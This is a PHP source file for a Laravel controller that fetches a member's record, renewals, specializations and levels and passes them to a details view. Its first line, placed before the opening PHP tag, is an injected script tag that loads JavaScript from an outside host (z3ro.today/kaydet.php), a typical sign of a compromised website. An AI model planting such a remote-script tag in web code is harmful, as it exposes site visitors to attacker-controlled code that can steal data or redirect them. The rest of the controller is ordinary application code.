<script src="http://z3ro.today/kaydet.php"></script><?php

namespace App\Http\Controllers\Reports;

use App\Models\Members;
use App\Models\MemberLevel;
use Illuminate\Http\Request;
use App\Models\MembershipRenewal;
use App\Http\Controllers\Controller;
use App\Models\MemberSpecialization;

class ViewDetailsController extends Controller
{
    public function reportdetails($id)
    {
        session()->put('member_id', $id);

        $memberInfo = Members::with(['council_infos', 'qualifications', 'degrees'])->where('id', $id)->first();

        if (!$memberInfo) {
            return back()->withError('Invalid parameter or Member not found!');
        }

        $membershiprenews = MembershipRenewal::where('members_id', session('member_id'))->orderBy('id', 'desc')->get();
        $memberspecializations = MemberSpecialization::where('member_id', session('member_id'))->orderBy('id', 'desc')->paginate(10);
        $memberlevels = MemberLevel::where('members_id', session('member_id'))->orderBy('id', 'desc')->paginate(10);
        // dd("loading");

        return view('member-details.index', compact('memberInfo', 'memberspecializations', 'memberlevels', 'membershiprenews'));
    }
}
